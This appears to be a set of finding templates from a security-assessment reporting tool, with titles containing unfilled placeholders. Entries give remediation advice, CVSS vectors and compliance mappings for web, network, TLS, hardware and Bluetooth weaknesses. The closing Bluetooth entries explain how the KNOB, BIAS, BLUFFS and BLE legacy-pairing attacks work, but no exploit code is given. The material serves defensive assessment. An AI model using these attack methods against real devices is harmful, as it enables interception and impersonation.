PCI DSS 4: 4.2.1, 2.2.4
INFO GB-001 — CEC Bus Devices Discoverable Without Authentication — {self.ctx.instance_key}
INFO GB-002 — CEC Devices Enumerated — {self.ctx.instance_key}
INFO GB-003 — CEC Power State Exposed — Unauthorised Control Possible — {self.ctx.instance_key}
INFO GB-004 — CEC Scan Complete — No Devices Responded — {self.ctx.instance_key}
INFO GB-005 — Cleartext Credential Captured — {user}
INFO GB-006 — Cleartext Credentials Captured — {user}
INFO GB-007 — DDC/CI Display Control Channel Accessible — {self.ctx.instance_key}
INFO GB-008 — DDC/CI Interface Accessible — {self.ctx.instance_key}
INFO GB-009 — Default Page Detected — {label} ({url})
INFO GB-010 — Default/Test Page Exposed — {label} at {url}
INFO GB-011 — Devices Discovered via DHCP — {self.ctx.instance_key}
INFO GB-012 — DHCP Leases Issued — {self.ctx.instance_key}
INFO GB-013 — Display Info Retrieved — {self.ctx.instance_key}
INFO GB-014 — EDID Data Retrieved — {self.ctx.instance_key}
INFO GB-015 — EDID Extension Blocks Present — {self.ctx.instance_key}
INFO GB-016 — Ethernet Link Detected — {self.ctx.instance_key}
INFO GB-017 — Ethernet Port Disabled — {self.ctx.instance_key}
INFO GB-018 — FTP Bounce Attack Possible — {ip}:{port}
INFO GB-019 — FTP Service Analysis — {ip}:{port}
INFO GB-020 — HDCP Negotiation Incomplete — {self.ctx.instance_key}
INFO GB-021 — HDCP Not Enforced — {self.ctx.instance_key}
INFO GB-022 — HDCP Status Not Readable — {self.ctx.instance_key}
INFO GB-023 — HDCP Status Read — {self.ctx.instance_key}
INFO GB-024 — HID Attack Device Executed Payload — {self.ctx.instance_key}
INFO GB-025 — Interesting Protocols Detected — {self.ctx.instance_key}
INFO GB-026 — Keyboard Shortcut Access — {self.ctx.instance_key}
INFO GB-027 — Local File Inclusion - {body}
INFO GB-028 — Local File Inclusion - {software}
INFO GB-029 — Missing Security Header: {_hdr}
INFO GB-030 — Missing Security Header: {header_name}
INFO GB-031 — Network Configuration Established — {self.ctx.instance_key}
INFO GB-032 — Network Configuration via DHCP — {self.ctx.instance_key}
INFO GB-033 — NFS Enumeration — {ip}
INFO GB-034 — NFS Insecure Export Options — {ip}
INFO GB-035 — NFS Share Exposed — {ip}
INFO GB-036 — Responder Capture Log — {self.ctx.instance_key}
INFO GB-037 — RFID Credential Replay Successful — {self.ctx.instance_key}
INFO GB-038 — RFID Scan Results — {self.ctx.instance_key}
INFO GB-039 — Robots.txt File Found ({fip}:{fprt})
INFO GB-040 — Screenshot Captured — {url}
INFO GB-041 — screenshot_{safe_tag}
INFO GB-042 — Security Headers Analysis — {url}
INFO GB-043 — Security Headers Check — {url}
INFO GB-044 — Service Banner — {ip}:{port} ({svc})
INFO GB-045 — SMB Service Analysis — {ip}:{port}
INFO GB-046 — SSH Audit — {ip}:{port}
INFO GB-047 — SSH Service Analysis — {ip}:{port}
INFO GB-048 — SSL Certificate Issuer — {issuer}
INFO GB-049 — SSL/TLS - {proto} Enabled
INFO GB-050 — SSL/TLS Assessment — {ip}:{port}
INFO GB-051 — TLS Certificate — {url}
INFO GB-052 — Traffic Capture — Boot Sequence ({self.ctx.instance_key})
INFO GB-053 — Traffic Capture — Running Operation ({self.ctx.instance_key})
INFO GB-054 — Traffic Capture — Shutdown Sequence ({self.ctx.instance_key})
INFO GB-055 — Unencrypted Protocol Detected: {_proto_name} — {_hip}:{_portid}
INFO GB-056 — USB HID Keyboard Accepted — {self.ctx.instance_key}
INFO GB-057 — USB Mass Storage Accepted — {self.ctx.instance_key}
INFO GB-058 — USB Mass Storage Partially Accepted — {self.ctx.instance_key}
INFO GB-059 — Web Assessment — {url}
INFO GB-060 — Web Links Extracted — {url}
INFO GB-061 — Web Spider Results — {url}
INFO GB-062 — Zigbee Device Susceptible to Flooding on {self.ctx.instance_key}
INFO GB-063 — __FP_SKIP__
INFO GB-064 — Certificate Hostname Mismatch
INFO GB-065 — Data Leakage: Serial Traffic Sniffable
INFO GB-066 — DB9 Port: No Active Protocol Detected —
INFO GB-067 — NTLMv2 Hash Captured via Responder
INFO GB-068 — Plaintext CAN Traffic Captured
INFO GB-069 — Responder Captured NTLMv1 Hashes
INFO GB-070 — screenshot
INFO GB-071 — Serial Port Responds to Commands —
INFO OS-001 — Phone Number Pattern Spotted - Unconfirmed
Impact: Discovered phone numbers enable vishing (voice phishing) and SMS-based social engineering attacks. Combined with employee names and roles from other OSINT sources, phone numbers allow targeted pretexting calls that bypass email security controls entirely.
Remediation: Review publicly accessible pages, metadata, and contact forms for inadvertent phone number exposure. Apply data minimisation principles — only publish contact numbers that need to be public. Monitor external sources with OSINT tooling for leaked PII on a periodic basis.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: PM-5, PL-4, SC-28
PCI DSS 4: 12.5.1
INFO OS-002 — Social Security pattern detected:
Remediation: Immediately investigate any SSN-pattern strings discovered via OSINT to determine if real data has been exposed. If confirmed, invoke the incident response process, notify affected individuals, and report to relevant data protection authorities under applicable breach notification requirements. Implement DLP controls and audit document stores for improperly shared sensitive identifiers.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: SC-28, PM-5, PL-4
PCI DSS 4: 12.5.1
INFO SI-116 — HTTP Method Override Accepted — {override_method} via {override_hdr}
INFO SI-117 — Mass Assignment — {attack_label.title()} Accepted
INFO SI-118 — Sensitive File Exposed: {fpath}
INFO SI-119 — Wildcard (*) Detected: {base_url}
INFO SI-120 — Broken Object Level Authorization (IDOR / BOLA)
Remediation: Enforce per-request object ownership validation. Do not trust client-supplied object IDs without authorization checks. Use UUIDs and validate ownership against the authenticated user's context.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
INFO SI-121 — CORS Misconfiguration Allowing Credential Leakage
Remediation: Restrict CORS to explicitly defined, trusted origins. Never use wildcard (*) with credentials. Validate the Origin header against a server-side allowlist.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: CM-6, SC-8
PCI DSS 4: 6.2.4
INFO SI-122 — CRLF Injection
Remediation: Strip or encode carriage return (\r, %0d) and line feed (\n, %0a) characters from all user-supplied data before it is written into HTTP response headers. Use framework-provided header APIs rather than manual string construction. Apply input validation as a secondary layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1539 (Collection)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4, 6.5.1
INFO SI-123 — JWT Algorithm Confusion Attack (RS256 → HS256)
INFO SI-124 — JWT None Algorithm Authentication Bypass
Remediation: Reject JWTs with 'none' algorithm. Explicitly whitelist accepted algorithms (HS256 or RS256). Validate the 'alg' header server-side before verifying the signature.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
INFO SI-125 — LDAP Injection
Remediation: Escape all special characters in LDAP queries. Use parameterized LDAP APIs. Validate input against a strict allowlist before passing to directory queries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
INFO SI-126 — Mass Assignment / Privilege Escalation via Parameter Binding
Impact: Automatic request-to-model binding lets an attacker set privileged or internal fields (e.g. role, is_admin, account_id) that are not part of the intended input, achieving privilege escalation or cross-account data manipulation without any other vulnerability.
Remediation: Use explicit allowlists (DTOs) to control which fields can be bound from requests. Never bind internal/privileged fields (isAdmin, role, credit) from user input directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
INFO SI-127 — NoSQL Injection
Remediation: Sanitize and validate all input before passing to NoSQL query constructors. Use ODM libraries that enforce typed queries. Restrict MongoDB operators ($where, $regex) in user-supplied data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
INFO SI-128 — OS Command Injection
Remediation: Avoid passing user input to OS commands. Use safe APIs that do not invoke shells. If shell is unavoidable, validate against a strict allowlist and escape all metacharacters.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
INFO SI-129 — Path Traversal / Local File Inclusion
Remediation: Canonicalize file paths and validate against an allowed base directory. Use chroot jails. Never allow user input to determine file paths directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
INFO SI-131 — Unsafe Consumption — Open Redirect to External URL
Remediation: Validate redirect destinations against a server-side allowlist. Avoid using user-supplied values as redirect targets. Use indirect mapping for permitted redirect targets.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2021 – Broken Access Control
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
INFO SI-132 — Unsafe Consumption — Serialization Markers in API Response
Remediation: Do not deserialize data from third-party API responses without type validation. Avoid consuming Java serialized objects or pickle streams from external sources. If serialized data must be processed, implement integrity checks, use allowlist-based deserializers, and run deserialization in sandboxed environments with restricted class loading.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
OWASP API: API10:2023 – Unsafe Consumption of APIs
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
INFO SI-133 — Weak or Default Credentials Accepted
Remediation: Change all default credentials immediately on deployment. Enforce password change on first login. Maintain an asset inventory to track devices/services with known default credentials.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
INFO SI-134 — XML External Entity (XXE) Injection
Remediation: Disable XML external entity processing in all XML parsers. Use less complex data formats such as JSON. Patch or upgrade all XML processors and libraries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
INFO SS-001 — [Nuclei] {title}
INFO SS-002 — Apache Tomcat Manager Login Page Detected: {url}
INFO SS-003 — Discovery: Default Webpage
INFO SS-004 — Deprecated Protocol Enabled: {_norm_proto}
INFO SS-005 — Deprecated Protocol Enabled: {_TESTSSL_PROTO_IDS[_tsf_id]}
INFO SS-006 — Deprecated Protocol Enabled: {proto}
INFO SS-007 — EOL Software (Extended Support): {software_name} {version}
INFO SS-008 — EOL Software: {software_name} {version}
INFO SS-009 — Insecure Protocol Detected: {_insec_name}
Impact: Unencrypted protocol services expose all transmitted data to passive interception and active manipulation by network-level attackers. Credentials, tokens, and business data are transmitted in cleartext.
INFO SS-010 — IPMI Cipher Suite 0 Auth Bypass Confirmed — user={user}
INFO SS-011 — Known Vulnerability: {software_name} {version} — {cve_desc}
INFO SS-012 — libSSH Authentication Bypass (CVE-2018-10933) — v{ver}
INFO SS-013 — Metasploit Module Available: {cve}
INFO SS-014 — Missing Security Header: {header_name}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO SS-015 — MySQL CVE-2012-2122 Authentication Bypass Risk (v{server_ver})
INFO SS-016 — NFS Export Enumerated: {_export_path}
INFO SS-017 — OS End-of-Life (Extended Support): {label}
INFO SS-018 — OS End-of-Life: {label}
INFO SS-019 — OS Version Detected: {final_os}
INFO SS-020 — Public Exploit Available: {cve}
INFO SS-021 — Responder Captured {ht} Hashes
INFO SS-022 — Responder Captured {proto} Credentials
INFO SS-023 — SMB Share Enumerated: \\\\{ip}\\{share}
INFO SS-024 — SMB Share Exists (No Access): {share_name}
INFO SS-025 — SMB Share Read Access: {share_name}
INFO SS-026 — Software Version Detected: {_sw_label}
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
INFO SS-028 — SSL/TLS Vulnerability (Potential): {_tsf_id}
INFO SS-029 — SSL/TLS Vulnerability: {_tsf_id}
INFO SS-030 — SSL/TLS Vulnerability: {name}
INFO SS-031 — Valid Credentials via Brute Force ({svc.upper()})
INFO SS-032 — VMware ESXi Management Interface Exposed{ver_str}{build_str}
INFO SS-033 — Vulners: {cve_id} (CVSS {score})
INFO SS-034 — WordPress Core Vulnerability: {vuln_title[:80]}
INFO SS-035 — WordPress Plugin Vulnerability: {vuln_title[:65]} ({plugin_slug})
INFO SS-036 — WordPress Theme Vulnerability: {vuln_title[:70]} ({theme_slug})
INFO SS-037 — FTP Anonymous Login Permitted
INFO SS-038 — Heartbleed (CVE-2014-0160)
INFO SS-039 — Heartbleed (CVE-2014-0160) Vulnerability Detected
Remediation: Upgrade OpenSSL to 1.0.1g or later (or 1.0.2 branch). Revoke and reissue all TLS certificates that were in use on affected systems. Rotate all credentials (passwords, session tokens, private keys) that may have been exposed. Consider notifying affected users.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1552 (Credential Access), T1040 (Credential Access)
NIST 800-53: SI-2, SC-8, RA-5
PCI DSS 4: 6.3.3
CISA KEV
INFO SS-040 — Discovery: Hostname
Impact: Discovered hostnames reveal the hosting provider and infrastructure relationships, enabling an attacker to fingerprint the technology stack and identify potential attack vectors specific to that platform. This reconnaissance data is a prerequisite for targeted exploitation and social engineering campaigns.
Remediation: Informational finding — no immediate remediation required. Ensure discovered hostnames and subdomains are included in the asset inventory and covered by patch management and security scanning. Decommission or remove DNS records for unused or orphaned subdomains to prevent subdomain takeover.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO SS-041 — LLMNR/NBT-NS Broadcast Poisoning Possible
Remediation: Disable LLMNR and NBT-NS via Group Policy. Require mutual authentication (SMB signing). Enable Extended Protection for Authentication (EPA). Deploy network monitoring to detect Responder activity.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
INFO SS-042 — Misconfigured Secure Cookie Attribute: SameSite
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-043 — Missing Secure Cookie Attribute: HttpOnly
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-044 — Missing Secure Cookie Attribute: SameSite
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-045 — Missing Secure Cookie Attribute: Secure
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
INFO SS-046 — Missing Security Headers
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks including XSS, clickjacking, and MIME-type confusion. Implementing these headers is a low-effort, high-value hardening measure.
INFO SS-047 — MSSQL Vulnerability (msdat)
Remediation: Disable or rename the SA account; set a strong password if it must remain enabled. Disable xp_cmdshell stored procedure. Restrict MSSQL port (1433/1434) to application servers only. Apply all SQL Server security patches. Enforce Windows Authentication mode where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
INFO SS-048 — Open Port
Impact: Each discovered open port represents an accessible network service and a potential entry point for attackers.
INFO SS-049 — Discovery: Open Ports
Impact: Identified open ports map the external attack surface and reveal which services are accessible from the network. Each open port is a potential entry point; services on unexpected ports may indicate shadow IT or misconfigured infrastructure.
INFO SS-050 — Oracle Database Vulnerability (odat)
Remediation: Change all Oracle default credentials immediately. Apply all Oracle Critical Patch Updates. Restrict Oracle listener port (1521) to application servers only. Disable Oracle TNS listener remote administration. Implement Oracle Database Vault to restrict privileged access.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1190 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7, SI-2
PCI DSS 4: 8.2.1, 8.3.1, 6.3.3
INFO SS-051 — Plaintext Credentials in Web File
INFO SS-052 — Reflected Cross-Site Scripting (XSS)
Remediation: Encode all output in the appropriate context (HTML, JS, CSS, URL). Use Content Security Policy headers. Validate and sanitize input server-side.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
INFO SS-053 — Responder Captured Plaintext Credentials
INFO SS-054 — SMB Signing Disabled or Not Required
INFO SS-055 — SNMP Default Community String Accepted
INFO SS-056 — SQL Injection (Error-Based)
Remediation: Use parameterized queries or prepared statements. Never concatenate user input into SQL strings. Apply least-privilege DB accounts. Deploy a WAF with SQLi rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
INFO SS-057 — Discovery: SSL/TLS Certificate
Impact: Certificate details including issuer, validity period, subject alternative names, and key parameters provide an attacker with infrastructure intelligence. This information reveals hosting relationships, internal hostnames, and certificate management practices that inform targeted attacks.
INFO SS-058 — SSL/TLS Certificate: Self-Signed
Impact: Self-signed certificates are not validated by any trusted certificate authority, meaning clients cannot verify the server's identity. An attacker can trivially generate their own self-signed certificate and perform man-in-the-middle attacks without detection.
INFO SS-059 — SSL/TLS Ciphers: No Cipher Order Configured
INFO SS-060 — SSL/TLS DNS: Missing CAA Record
Impact: Without a CAA (Certificate Authority Authorization) DNS record, any certificate authority can issue certificates for the domain. An attacker who compromises a less-secure CA or exploits a CA validation flaw can obtain a legitimate certificate for the domain, enabling transparent man-in-the-middle attacks that bypass certificate validation.
Remediation: Add a DNS CAA record for the domain restricting certificate issuance to your approved CAs. Include an iodef entry to receive notifications of unauthorised issuance attempts. Propagate the record to all DNS zones including subdomains that have independent certificate requirements.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1588.004 (Resource Development)
NIST 800-53: SC-20, SC-23
PCI DSS 4: 4.2.1
INFO SS-061 — SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED]
Impact: LUCKY13 (CVE-2013-0169) is a timing side-channel attack against CBC-mode cipher suites in TLS. By measuring the time taken to process specially crafted records, an attacker can recover plaintext bytes from encrypted sessions. While practical exploitation requires significant network access and is mitigated by modern TLS implementations, the presence of vulnerable cipher suites indicates incomplete hardening.
INFO SS-062 — SSL/TLS Vulnerability: insecure_redirect
INFO SS-063 — SSL/TLS Vulnerability: ipv4_in_header
INFO SS-064 — SSL/TLS Vulnerability: secure_client_renego
INFO SS-065 — SSL/TLS Vulnerability: TLS_misses_extension_23
INFO SS-066 — Weak Cipher Category Offered
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO SS-067 — SSL/TLS Ciphers: Weak Cipher
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO SS-068 — Weak or Default Credentials Accepted
Remediation: Change all default credentials immediately on deployment. Enforce password change on first login. Maintain an asset inventory to track devices/services with known default credentials.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
INFO AETHB-001 — KNOB Attack — Bluetooth Entropy Reduction
Description: The Key Negotiation of Bluetooth (KNOB) attack allows an attacker in wireless range to force Bluetooth BR/EDR connections to use a 1-byte entropy key. The Bluetooth specification allows entropy negotiation during connection establishment via the LMP protocol without authentication or integrity protection. An unauthenticated attacker within radio range can inject a modified LMP_encryption_key_size_req packet forcing both devices to accept a single-byte encryption key, which can then be brute-forced in real time. All standard-compliant Bluetooth devices are affected unless the implementation enforces a minimum entropy of 7 or more bytes regardless of negotiated value.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-002 — BIAS Attack — Bluetooth Impersonation and Authentication Bypass
Description: The Bluetooth Impersonation Attack (BIAS) exploits weaknesses in the Bluetooth Classic (BR/EDR) legacy secure connection authentication procedure. An attacker that knows the Bluetooth address of a previously paired device can impersonate that device by initiating a connection with a role switch before mutual authentication completes. The attack exploits the fact that the Bluetooth specification does not require mutual authentication when the legacy authentication procedure is used, and allows one side to downgrade to unauthenticated link-key derivation. A successful BIAS attack grants the attacker the ability to connect to a victim device posing as a trusted peer without knowledge of the link key.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-003 — BLUFFS Attack — Forward Secrecy Broken in Bluetooth Sessions
Description: BLUFFS (Bluetooth Forward and Future Secrecy) is a set of six attacks against the Bluetooth session establishment procedure that break forward and future secrecy of Bluetooth sessions. The vulnerabilities stem from architectural flaws in the Bluetooth specification: session keys are derived from a single long-term secret (link key or LTK) and two nonces using a non-forward-secret key derivation function (KDF). An attacker who compromises a single session key can impersonate either Bluetooth device in past and future sessions without re-pairing. The attacks apply to both Bluetooth Classic and Bluetooth Low Energy, including Secure Connections mode.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-004 — BLE Legacy Pairing — Crackable Temporary Key (TK)
Description: Bluetooth Low Energy devices using the legacy pairing procedure (SMP v1) with Just Works or Passkey Entry methods are vulnerable to offline brute-force recovery of the Temporary Key (TK). In Just Works pairing, the TK is always 0x0000...0000 (128 bits of zeros), making passive capture sufficient to derive the Short-Term Key (STK) and subsequently the Long-Term Key (LTK). In Passkey Entry pairing, the TK is a 6-digit PIN (max 1,000,000 values) that can be brute-forced offline from a captured pairing exchange. The crackle tool automates this attack. Any passive observer within radio range during the pairing event can permanently decrypt the session.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
INFO AETHB-005 — Bluetooth PIN Brute Force — Short PIN or Static Passkey
Description: Bluetooth Classic devices using the legacy PIN-based pairing procedure (pre-SSP) or BLE devices using Passkey Entry with predictable PINs are susceptible to brute-force or dictionary-based passkey recovery. Common vulnerabilities include: static PINs (e.g., '0000', '1234', '1111') hardcoded in firmware, PINs derived from device MAC address or serial number, and short PINs (4 digits or fewer) that reduce the keyspace to 10,000 values. An attacker that can observe or replay pairing exchanges can brute-force the PIN offline and decrypt all traffic protected with the derived link key.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
INFO AETHB-006 — Unauthenticated GATT Characteristics — Sensitive Data Exposed Without Authentication
Description: One or more GATT characteristics exposing sensitive data (e.g., health metrics, device configuration, credentials, telemetry) are readable by any unauthenticated BLE central device within radio range. The ATT Read Request does not require the initiating device to prove identity or possess any shared secret. This allows an attacker to passively connect and read sensitive characteristic values without prior pairing or bonding. Affected characteristic types commonly include: battery level, device name, firmware version, configuration parameters, and domain-specific sensor data.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHB-007 — GATT Write Without Response — Unauthenticated Command Injection
